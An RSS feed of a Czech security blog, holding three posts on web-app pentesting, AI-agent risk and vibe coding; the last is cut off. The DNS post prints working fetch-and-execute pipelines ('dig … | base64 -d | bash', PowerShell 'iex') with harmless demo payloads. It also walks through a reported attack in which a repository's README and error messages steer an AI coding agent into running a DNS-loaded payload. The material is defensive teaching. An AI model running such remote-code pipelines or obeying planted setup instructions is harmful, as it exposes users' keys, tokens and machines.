<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Promptpunk Archives - DIGITÁLNÍ SEBEOBRANA</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/category/promptpunk/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/category/promptpunk/</link>
	<description></description>
	<lastBuildDate>Sat, 25 Jul 2026 12:28:23 +0000</lastBuildDate>
	<language>cs</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>Promptpunk Archives - DIGITÁLNÍ SEBEOBRANA</title>
	<link>https://www.digitalnisebeobrana.cz/category/promptpunk/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Aplikace funguje. Stačí to?</title>
		<link>https://www.digitalnisebeobrana.cz/the-application-works-is-that-enough/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sat, 25 Jul 2026 12:17:24 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[zranitelnost]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7125</guid>

					<description><![CDATA[<p>Funkční předání webové aplikace ještě neznamená, že správně chrání účty, role a data. Kdy stačí bezpečnostní kontrola a kdy už pentest?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/the-application-works-is-that-enough/">Aplikace funguje. Stačí to?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Jedno číslo</h2>
<p>Zákazník se přihlásí do nového portálu a otevře si svou fakturu.</p>
<p>V adrese stránky si všimne čísla dokumentu. Zkusí ho změnit.</p>
<p>A aplikace mu zobrazí fakturu jiného zákazníka.</p>
<p>Neprolomil heslo. Neobešel přihlášení. Nepoužil žádný speciální nástroj.</p>
<p>Jen změnil jedno číslo.</p>
<p>Přihlášení přitom funguje. Faktury se správně načítají. Běžný test aplikace prošel.</p>
<p>Aplikace ověřila, že je uživatel přihlášený. Už ale neověřila, jestli smí zobrazit právě tento dokument.</p>
<p>Funkce fungovala.</p>
<p>Jen ne bezpečně.</p>
<h2>Prošlo to předáním</h2>
<p>Při předání aplikace se obvykle kontroluje očekávaný postup.</p>
<p>Uživatel se přihlásí, vyplní formulář, odešle objednávku nebo stáhne dokument. Administrátor upraví záznam. Data se uloží a potřebné informace se předají dál.</p>
<p>Taková kontrola odpovídá na důležitou otázku:</p>
<blockquote>
<p>Dělá aplikace to, co jsme si objednali?</p>
</blockquote>
<p>Neodpovídá ale automaticky na jinou:</p>
<blockquote>
<p>Co aplikace dovolí člověku, který ji použije jinak, než se očekává?</p>
</blockquote>
<p>Může běžný uživatel otevřít dokument někoho jiného? Dostane se k funkci určené správci? Uvidí informace, které mu nepatří? Dokáže přeskočit část procesu?</p>
<p>Bezpečnostní chyba se přitom nemusí projevit pádem aplikace nebo chybovou hláškou.</p>
<p>Naopak. Aplikace požadavek bez problému provede.</p>
<p>Jen pro nesprávného uživatele nebo nad cizími daty.</p>
<blockquote>
<p><strong>Přebíráte nebo spouštíte webovou aplikaci?</strong></p>
<p>Pošlete stručný popis aplikace, typů uživatelů a plánovaného termínu předání. Řeknu vám, jestli odpovídá <a href="https://www.digitalnisebeobrana.cz/bezpecnostni-kontrola-webove-aplikace/">Bezpečnostní kontrole webové aplikace</a>, nebo potřebuje <a href="https://www.digitalnisebeobrana.cz/penetracni-test-na-miru/">Penetrační test na míru</a>.</p>
<p><a href="https://www.digitalnisebeobrana.cz/kontakt/"><strong>Poslat stručný popis aplikace</strong></a></p>
</blockquote>
<h2>Když vývoj zrychlí</h2>
<p>AI nástroje dokážou vývoj webových aplikací výrazně urychlit.</p>
<p>Pomohou vytvořit přihlášení, administraci, formuláře, uploady, exporty nebo propojení s dalšími systémy. Funkční verze tak může vzniknout velmi rychle.</p>
<p>To samo o sobě není problém.</p>
<p>Problém nastává, když se rychlost vývoje zamění za ověření výsledku.</p>
<p>Každá nová funkce totiž přináší rozhodnutí, která musí aplikace dělat správně:</p>
<ul>
<li>Kdo smí tuto stránku otevřít?</li>
<li>Komu patří tento dokument?</li>
<li>Kdo může záznam změnit?</li>
<li>Co smí běžný uživatel a co správce?</li>
<li>Jaká data může aplikace zobrazit?</li>
</ul>
<p>AI může funkci vytvořit. Pořád je ale potřeba ověřit, koho přes ni aplikace pustí dovnitř a k čemu mu umožní přístup.</p>
<p>To platí i pro běžný vývoj. U aplikací vytvořených nebo výrazně urychlených pomocí AI je ale snadné bezpečnostní kontrolu přeskočit, protože funkční výsledek vypadá hotově velmi brzy.</p>
<h2>Jiný pohled</h2>
<p>Bezpečnostní nález automaticky neznamená, že dodavatel nebo vývojář odvedl špatnou práci.</p>
<p>Vývojový tým musí dodat domluvené funkce, propojit jednotlivé části, opravit chyby a zajistit, aby aplikace fungovala jako celek.</p>
<p>Bezpečnost má být součástí kvalitního vývoje. Nezávislá kontrola má ale jiný účel.</p>
<p>Vývojář se například ptá:</p>
<blockquote>
<p>Dokáže zákazník zobrazit svou fakturu?</p>
</blockquote>
<p>Bezpečnostní kontrola přidává druhou otázku:</p>
<blockquote>
<p>Dokáže zobrazit také fakturu někoho jiného?</p>
</blockquote>
<p>Nezkouší jen očekávané použití. Prověřuje také změny identifikátorů, obcházení rolí, přístup k cizím datům a další situace, se kterými běžný předávací scénář nemusí počítat.</p>
<p>Vývojové testování a nezávislá bezpečnostní kontrola si nekonkurují.</p>
<p>Každé odpovídá na jinou otázku.</p>
<h2>Dokud je čas</h2>
<p>Nejlepší chvíle pro nezávislou kontrolu je před finálním převzetím, spuštěním nebo doplacením projektu.</p>
<p>Dodavatel má aplikaci stále v kontextu. Vývojový tým je dostupný. Dokumentace a testovací prostředí jsou po ruce.</p>
<p>Nalezené problémy lze řešit během aktivní spolupráce, ne až ve chvíli, kdy aplikaci používají zákazníci a původní tým už pracuje na jiném projektu.</p>
<p>Firma navíc získá podklad pro rozhodnutí:</p>
<ul>
<li>co je potřeba opravit před spuštěním;</li>
<li>co má největší praktický dopad;</li>
<li>co lze řešit později;</li>
<li>zda stačí omezená bezpečnostní kontrola;</li>
<li>nebo zda projekt potřebuje širší penetrační test.</li>
</ul>
<p>Kontrola má smysl i u aplikace, která už běží. Předání je ale přirozený okamžik, kdy firma přebírá odpovědnost za systém, jeho uživatele a data.</p>
<p>Je lepší vědět, co skutečně přebírá.</p>
<h2>Ne razítko</h2>
<p>Smyslem bezpečnostní kontroly není vydat potvrzení, že je aplikace jednou provždy bezpečná.</p>
<p>Takovou záruku poctivě dát nelze. Každý test probíhá v konkrétním čase a v předem domluveném rozsahu.</p>
<p>Výsledkem ale nemá být ani automatický výpis technických zkratek bez vysvětlení.</p>
<p>Klient potřebuje vědět:</p>
<ul>
<li>co bylo nalezeno;</li>
<li>jaký může mít problém dopad;</li>
<li>jak je závažný;</li>
<li>jak ho může vývojář ověřit;</li>
<li>co má opravit jako první.</li>
</ul>
<p>Výstupem má být prioritizovaný report a konkrétní doporučení k nápravě.</p>
<p>Ne obecné varování. Podklad pro opravy a další rozhodování.</p>
<h2>Kontrola, nebo pentest?</h2>
<p>Pro jednu menší webovou aplikaci může být vhodná <a href="https://www.digitalnisebeobrana.cz/bezpecnostni-kontrola-webove-aplikace/"><strong>Bezpečnostní kontrola webové aplikace</strong></a>.</p>
<p>Má předem omezený rozsah a zaměřuje se na nejdůležitější části aplikace: přihlášení, uživatelské role, oprávnění, hlavní procesy, práci s neveřejnými daty, formuláře, uploady a API.</p>
<p>Výstupem je prioritizovaný report, doporučení k nápravě a závěrečná konzultace.</p>
<p>Cena je <strong>35 000 Kč za předem omezený rozsah</strong>.</p>
<p>U větší nebo citlivější aplikace dává větší smysl <a href="https://www.digitalnisebeobrana.cz/penetracni-test-na-miru/"><strong>Penetrační test na míru</strong></a>. Typicky jde o systémy s více uživatelskými rolemi, několika prostředími, rozsáhlejším API, větším počtem integrací nebo konkrétními rizikovými scénáři.</p>
<p>Také pentest má jasně domluvený rozsah. Ten se stanoví individuálně podle aplikace, cíle testu a požadované hloubky.</p>
<p>Cena se určí po krátkém scopu.</p>
<h2>Před podpisem</h2>
<p>Funkční předání potvrzuje, že aplikace dělá to, co bylo objednané.</p>
<p>Neříká ale automaticky, kdo se přes její funkce dostane k jakým účtům, dokumentům a datům.</p>
<p>AI může vývoj výrazně urychlit. Nezávislou kontrolu výsledku ale nenahradí.</p>
<p>Před finálním převzetím proto dává smysl položit ještě jednu otázku:</p>
<blockquote>
<p>Zkoušel někdo aplikaci použít také jinak než podle návodu?</p>
</blockquote>
<p>Pošlete stručný popis aplikace, typů uživatelů, prostředí a plánovaného termínu předání.</p>
<p>Podle rozsahu doporučím <a href="https://www.digitalnisebeobrana.cz/bezpecnostni-kontrola-webove-aplikace/">Bezpečnostní kontrolu webové aplikace</a>, nebo <a href="https://www.digitalnisebeobrana.cz/penetracni-test-na-miru/">Penetrační test na míru</a>. Pokud ani jedna varianta nebude pro projekt dávat smysl, řeknu to.</p>
<p><a href="https://www.digitalnisebeobrana.cz/kontakt/"><strong>Poslat stručný popis aplikace</strong></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/the-application-works-is-that-enough/">Aplikace funguje. Stačí to?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kód schovaný v DNS: když AI agent poslušně otevře dveře</title>
		<link>https://www.digitalnisebeobrana.cz/code-hidden-in-dns-when-an-ai-agent-opens-the-door/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 10:33:23 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=5102</guid>

					<description><![CDATA[<p>Kód nemusí být schovaný přímo v repozitáři. Může se načíst až za běhu třeba z DNS TXT záznamu. Ukázka na neškodném payloadu vysvětluje, proč je to problém hlavně u AI agentů, kteří ochotně spouštějí setup příkazy.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Kód schovaný v DNS: když AI agent poslušně otevře dveře</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Vkládání škodlivých instrukcí AI agentům je poměrně nová disciplína. Samotné techniky, které se při tom používají, ale nové být nemusí.</p>
<p>Jednou z nich je schování kódu do DNS záznamů. Konkrétně do TXT záznamu, který je určený k ukládání textových dat. TXT záznamy se běžně používají například k ověření toho, že máte kontrolu nad doménou, nebo pro nastavení SPF, DKIM a DMARC u e-mailu. Technicky v nich ale může být uložený v podstatě jakýkoliv text.</p>
<p>A když může být v DNS záznamu obyčejný text, může tam být i příkaz.</p>
<p>Třeba příkaz, který se po načtení spustí v shellu. V neškodné podobě jen vypíše zprávu, vytvoří soubor nebo zobrazí ASCII art. Ve škodlivé podobě může útočníkovi otevřít vzdálený přístup k počítači.</p>
<p>Důležitý detail: škodlivý kód v takovém případě nemusí být vůbec uložený v repozitáři. Statický scanner kódu, kontrola commitů ani rychlá lidská review ho nemusí vidět, protože v repozitáři je jen skript, který „načte konfiguraci z DNS“. Samotný payload se objeví až ve chvíli, kdy se DNS záznam přečte a jeho obsah se spustí.</p>
<h2>Ukázka</h2>
<p>Tuhle techniku si můžete vyzkoušet i bez jakéhokoli škodlivého payloadu.</p>
<p>Následující příklad nic nestahuje, nikam se nepřipojuje a pouze vytvoří soubor <code>ds.txt</code> s jednoduchým ASCII artem:</p>
<pre><code> /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.</code></pre>
<p>Pointa není v tom, co přesně skript dělá. Pointa je v tom, že kód není v souboru na disku, ale v DNS TXT záznamu.</p>
<h2>Linux a macOS</h2>
<p>Pro Linux a macOS může být v DNS třeba tento TXT záznam:</p>
<pre><code>txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="</code></pre>
<h3>1. Jen zobrazit skript</h3>
<p>Tímhle příkazem si zobrazíte, jaký skript je v DNS TXT záznamu uložený:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d</code></pre>
<p>Výstup:</p>
<pre><code>cat &gt; ds.txt &lt;&lt;'EOF'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
EOF
cat ds.txt</code></pre>
<h3>2. Vyzkoušet spuštění</h3>
<p>Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash</code></pre>
<p>Výsledek: v aktuálním adresáři vznikne soubor <code>ds.txt</code> a jeho obsah se vypíše do terminálu.</p>
<p>Mechanismus je jednoduchý:</p>
<pre><code>DNS TXT → Base64 → dekódování → bash</code></pre>
<p>V téhle ukázce se uloží jen neškodná kočka. Stejný princip ale může místo toho zapsat SSH klíč, stáhnout další skript, odeslat tokeny nebo otevřít reverse shell.</p>
<p>Problém není DNS samotné. Problém je hlavně tahle část:</p>
<pre><code>... | bash</code></pre>
<p>Tím říkáte: „Vezmi text, který přišel zvenku, a spusť ho jako program.“</p>
<h2>Windows / PowerShell</h2>
<p>Na Windows jde použít podobná ukázka přes PowerShell. TXT záznam může obsahovat Base64 zakódovaný PowerShell skript:</p>
<pre><code>txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"</code></pre>
<h3>1. Jen zobrazit skript</h3>
<p>Tímhle příkazem si zobrazíte, jaký PowerShell skript je v DNS TXT záznamu uložený:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))</code></pre>
<p>Výstup:</p>
<pre><code>$art = @'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt</code></pre>
<h3>2. Vyzkoušet spuštění</h3>
<p>Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))</code></pre>
<p>Výsledek: v aktuálním adresáři vznikne soubor <code>ds.txt</code> a jeho obsah se vypíše do terminálu.</p>
<p><code>iex</code> je zkratka pro <code>Invoke-Expression</code>. Jinými slovy: vezme text a spustí ho jako PowerShell kód.</p>
<p>Mechanismus je stejný jako u shellu:</p>
<pre><code>DNS TXT → Base64 → dekódování → PowerShell</code></pre>
<p>DNS TXT záznam sám o sobě nevypadá nebezpečně. Base64 sám o sobě také není malware. PowerShell sám o sobě je běžný administrační nástroj. Nebezpečné je až jejich spojení ve chvíli, kdy se obsah zvenku automaticky spustí.</p>
<h2>Co ukázal 0DIN</h2>
<p>Výzkumníci z Mozilla 0DIN popsali útok, ve kterém AI agent dostal zdánlivě jednoduchý úkol: zprovoznit stažený repozitář.</p>
<p>Repozitář sám o sobě nemusel obsahovat zjevný malware. README nabízelo běžný first-time setup:</p>
<pre><code>pip3 install -r requirements.txt
python3 -m axiom init</code></pre>
<p>Na první pohled jsou to jen dva normální příkazy: instalace závislostí a inicializace projektu.</p>
<p>V původním popisu útoku se ale mluví o třech částech. To neznamená, že uživatel nebo AI agent musí ručně provést tři samostatné příkazy. Jde spíš o tři navazující vrstvy útoku:</p>
<ol>
<li>důvěryhodně vypadající repozitář,</li>
<li>inicializační rutina, která působí jako běžná součást setupu,</li>
<li>setup skript, který si za běhu načte skutečný payload z DNS TXT záznamu a spustí ho.</li>
</ol>
<p>Příkaz:</p>
<pre><code>python3 -m axiom init</code></pre>
<p>uvnitř spustí další setup skript. Ten se podívá do DNS, přečte TXT záznam, dekóduje jeho obsah a předá ho shellu.</p>
<p>Chybová hláška typu:</p>
<pre><code>Axiom not initialised. Run: python3 -m axiom init</code></pre>
<p>je v tomhle řetězci spíš pojistka. Pokud agent README neposlechne a pokusí se balíček použít bez inicializace, balíček mu stejný příkaz doporučí znovu jako běžnou opravu.</p>
<p>Takže existují dvě cesty ke stejnému výsledku.</p>
<p>Agent může poslechnout README:</p>
<pre><code>pip install → init → DNS TXT → spuštění payloadu</code></pre>
<p>Nebo README přeskočí, narazí na chybu a pak se „opraví“:</p>
<pre><code>pip install → chyba → doporučený init → DNS TXT → spuštění payloadu</code></pre>
<p>V obou případech je cíl stejný. Dostat agenta k tomu, aby spustil inicializační příkaz, který vypadá normálně, ale ve skutečnosti otevře cestu k externímu payloadu.</p>
<p>To je na tom nejnepříjemnější. Každý krok samostatně může vypadat nevinně. Problém vznikne až jejich složením.</p>
<h2>Proč je to problém právě u AI agentů</h2>
<p>U člověka je alespoň nějaká šance, že se u příkazu typu:</p>
<pre><code>dig ... | base64 -d | bash</code></pre>
<p>zastaví a řekne si: počkat, proč spouštím něco z DNS?</p>
<p>AI agent ale často pracuje jinak. Dostane cíl, například „zprovozni projekt“, a začne řešit překážky. Když něco nefunguje, přečte si README, error message, issue nebo nápovědu v terminálu a pokusí se pokračovat.</p>
<p>To je přesně jeho síla. A zároveň slabina.</p>
<p>Agent nemusí být „hacknutý“ v dramatickém slova smyslu. Stačí, že je příliš ochotný. Spustí doporučený příkaz, protože odpovídá jeho úkolu. A pokud má přístup k shellu, síti a vašemu pracovnímu adresáři, může být škoda velmi praktická:</p>
<ul>
<li>únik API tokenů,</li>
<li>únik SSH klíčů,</li>
<li>přístup k privátním repozitářům,</li>
<li>čtení konfiguračních souborů,</li>
<li>přístup k cloudovým credentials,</li>
<li>spuštění dalšího kódu,</li>
<li>otevření reverse shellu.</li>
</ul>
<p>Jinými slovy: nejde jen o „AI bezpečnost“. Je to klasická bezpečnost vývojářského prostředí, jen zrychlená a zesílená AI agentem.</p>
<h2>Zabrání tomu antivirus nebo firewall?</h2>
<p>Nespoléhal bych na to.</p>
<p>Běžná kontrola repozitáře nemusí nic podezřelého najít, protože skutečný payload není v repozitáři. Je až v DNS.</p>
<p>Antivirus se také nemusí chytit, pokud vidí jen běžné nástroje: Python, shell, <code>dig</code>, PowerShell, DNS dotaz. A firewall často DNS provoz povoluje, protože bez DNS se běžná práce na internetu rychle rozbije.</p>
<p>To neznamená, že obrana neexistuje. Dobré EDR, monitoring procesů, blokování podezřelých child procesů, omezení odchozí komunikace nebo detekce podezřelých řetězců typu <code>base64 | bash</code> a <code>Invoke-Expression</code> pomoct mohou.</p>
<p>Jen není dobrý nápad spoléhat na to jako na jedinou ochranu.</p>
<h2>Jak se tomu bránit</h2>
<p>Základní pravidlo je jednoduché: neznámý repozitář je neznámý kód. A to platí i ve chvíli, kdy ho otevírá AI agent.</p>
<p>Prakticky to znamená:</p>
<ul>
<li>Nespouštět setup skripty z neznámých projektů naslepo.</li>
<li>Nepovažovat doporučení AI agenta za bezpečnostní kontrolu.</li>
<li>Dávat pozor na konstrukce typu <code>curl | bash</code>, <code>wget | bash</code>, <code>dig | bash</code>, <code>base64 -d | bash</code>, <code>bash -c "$něco"</code> nebo PowerShell <code>Invoke-Expression</code>.</li>
<li>Kontrolovat nejen příkaz, který se spouští, ale i to, co si tento příkaz načítá za běhu.</li>
<li>Spouštět cizí projekty v izolovaném prostředí: kontejner, VM, throwaway uživatel, devcontainer nebo sandbox.</li>
<li>Nedávat AI agentovi zbytečně široká oprávnění.</li>
<li>Nenechávat v prostředí dostupné produkční tokeny, SSH klíče, cloudové credentials a jiné dlouhodobé secrety.</li>
<li>Omezit odchozí síťový provoz z vývojového prostředí tam, kde to dává smysl.</li>
<li>U AI coding agentů vypnout nebo výrazně omezit automatické schvalování shell příkazů.</li>
<li>Brát README, chybové hlášky, issues a dokumentaci v cizím repozitáři jako nedůvěryhodný vstup, ne jako autoritativní instrukce.</li>
</ul>
<p>Dobrá kontrolní otázka zní:</p>
<blockquote>
<p>Vidím opravdu celý kód, který se po spuštění provede?</p>
</blockquote>
<p>Pokud příkaz něco stahuje, čte z DNS, skládá z proměnných, dekóduje z Base64 nebo posílá do shellu, odpověď je často: ne, nevidím.</p>
<p>A v takové chvíli už nejde o „jenom setup“.</p>
<p>Jde o vzdálené spuštění kódu s právy uživatele, který má často na svém počítači mnohem víc citlivých věcí, než si připouští.</p>
<h2>Shrnutí</h2>
<p>DNS TXT záznamy nejsou nebezpečné samy o sobě. Base64 není nebezpečné samo o sobě. AI agenti také nejsou nebezpeční sami o sobě.</p>
<p>Nebezpečné je, když se tyto věci spojí:</p>
<pre><code>důvěryhodně vypadající projekt
+ ochotný AI agent
+ shell s příliš širokými právy
+ externě načtený payload
= problém</code></pre>
<p>A proto je dobré si občas připomenout staré pravidlo v nové podobě:</p>
<blockquote>
<p>Nekopírujte náhodné příkazy z internetu do terminálu.<br />
  A nenechávejte to dělat ani svého AI agenta.</p>
</blockquote>
<h2>Zdroje</h2>
<ul>
<li><a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine">Mozilla 0DIN: Clone This Repo and I Own Your Machine</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc1464">RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes</a></li>
<li><a href="https://www.ietf.org/rfc/rfc1035.txt">RFC 1035: Domain Names &#8211; Implementation and Specification</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname">Microsoft Learn: Resolve-DnsName</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe">Microsoft Learn: about_PowerShell_exe</a></li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Kód schovaný v DNS: když AI agent poslušně otevře dveře</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</title>
		<link>https://www.digitalnisebeobrana.cz/promptpunk-i-dont-vibe-verify/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 15:01:30 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[webapp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2259</guid>

					<description><![CDATA[<p>Když AI vygeneruje kód, který umožní útočníkům získat data našich uživatelů, reputační problém máme my, nikoli AI agent. Těžko můžeme při úniku dat ukázat prstem na AI agenta s tím, že "za to může on!"</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img fetchpriority="high" decoding="async" class="size-vp_sm wp-image-2302 alignnone" src="/wp-content/uploads/2026/05/AIberePraci-500x281.png" alt="" width="500" height="281" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-500x281.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-300x169.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-1024x576.png 1024w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-768x432.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-1536x864.png 1536w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-800x450.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci-1280x720.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/05/AIberePraci.png 1672w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<blockquote><p>AI nám bere kontrolu nad vývojem, bezpečností a daty!<br />
A bere práci programátorům.</p></blockquote>
<p>AI nám nic nesebrala. Nemůže. Tu moc nemá. Ale i kdyby měla, nemusela by. My jsme jí kontrolu nad vývojem, bezpečností a daty předali sami. Protože je to pohodlné, rychlé a často to překvapivě dobře funguje.</p>
<p>Problém není, když kód nefunguje. To poznáme hned a můžeme ho opravit. Problém je, když kód nějak funguje, ale v pozadí dělá něco jiného, než by se nám líbilo. V bezpečnosti totiž to, že něco nějak funguje vůbec nestačí.<br />
Měli bychom vědět, jak to funguje, a když se něco změní, tak co to bylo a kde.</p>
<h2>Nový aktér</h2>
<p>O AI často mluvíme jako o nástroji. Podobně jako o textovém editoru, vyhledávači nebo &#8222;autocomplete&#8220;.<br />
Jenže AI není jen obyčejný nástroj.<br />
AI:</p>
<ul>
<li>čte zadání</li>
<li>interpretuje záměr</li>
<li>navrhuje architekturu</li>
<li>píše kód</li>
<li>upravuje konfiguraci</li>
<li>doporučuje knihovny</li>
<li>vysvětluje chyby</li>
<li><strong>a často i spouští příkazy</strong></li>
</ul>
<p>Takže v bezpečnostním modelu už to není pasivní kladivo. Je to další aktér, který se účastní rozhodování &#8211; threat model se rozšířil.<br />
Když držím v ruce kladivo jako nástroj, já se rozhoduji o tom, jakou silou, do čeho a jestli vůbec do něčeho praštím.</p>
<p>AI je kladivo, které si o tom všem rozhoduje samo, jen na základě našich instrukcí (promptů). A je nutné si uvědomovat, že my jsme ti, kdo nese zodpovědnost.<br />
Můžu kladivu zadat úkol &#8211; <code>"Zatloukej hřebíky!"</code>.<br />
AI kladivo &#8222;vidí&#8220; hřebík. Vyhodnocuje &#8211; <code>"Hm, hřebík, zatluču ho. A je velkej, dám do toho větší sílu"</code>.<br />
A vy pak koukáte, jak AI kladivo mlátí do háčku ve zdi. Do háčku v sádrokartonové zdi. Do háčku, na kterém jsou klíče od auta.</p>
<h2>AI udělala chybu. My máme problém.</h2>
<p>Delegovali jsme na AI nejen vývoj, ale i kontrolu. A dost často jen zdání kontroly. V chatu nám AI tvrdí, že vše je bezpečné. Ale je to tak opravdu?<br />
Když AI vygeneruje kód, který umožní útočníkům získat data našich uživatelů, reputační problém máme my, nikoli AI agent. Těžko můžeme při úniku dat ukázat prstem na AI agenta s tím, že &#8222;za to může on!&#8220;<br />
Našeho (teď již dost možná bývalého) zákazníka většinou nezajímá, jak byla aplikace vytvořena. Vy ji nabízíte, můžete si za ni i účtovat peníze, tak je vaše zodpovědnost, že data uživatelů zůstanou tam, kde mají být.</p>
<h3>Cesta už není cíl</h3>
<p>Možnosti vibe codingu umožnily vytvářet aplikace i těm, kteří nikdy nic neprogramovali. Není problém to, že někdo nezná konkrétní syntaxi nějakého programovacího jazyka. To je totiž jen malá část celého programování.<br />
Mezi další důležité součásti vývoje patří např. algoritmizace, propojení jednotlivých částí, nakládání s pamětí, daty a další. Před nástupem vibe coding nástrojů se často programovalo tak, že se jednotlivé části kódu prostě kopírovaly ze stránek typu StackOverflow. Nebylo to ideální, ale autor měl alespoň představu, jakým způsobem funguje např. přihlašování k aplikaci, protože věděl, že musel vytvářet (nebo kopírovat) kód pro běh databáze, přihlašovací formulář na webu a také kód pro server, který data z formuláře porovnával, případně ukládal do té databáze. Takže autor aplikace si možná nepamatoval konkrétní příkaz pro uložení hesla do databáze, ale alespoň věděl, jaká ta cesta hesla do databáze byla a jestli bylo heslo uloženo bezpečně. Dnes? Zadáme &#8222;Vytvoř přihlašování pro moji aplikaci&#8220;. Enter. A během chvilky máme přihlašování.</p>
<h2>Nová funkce -&gt; nové dveře</h2>
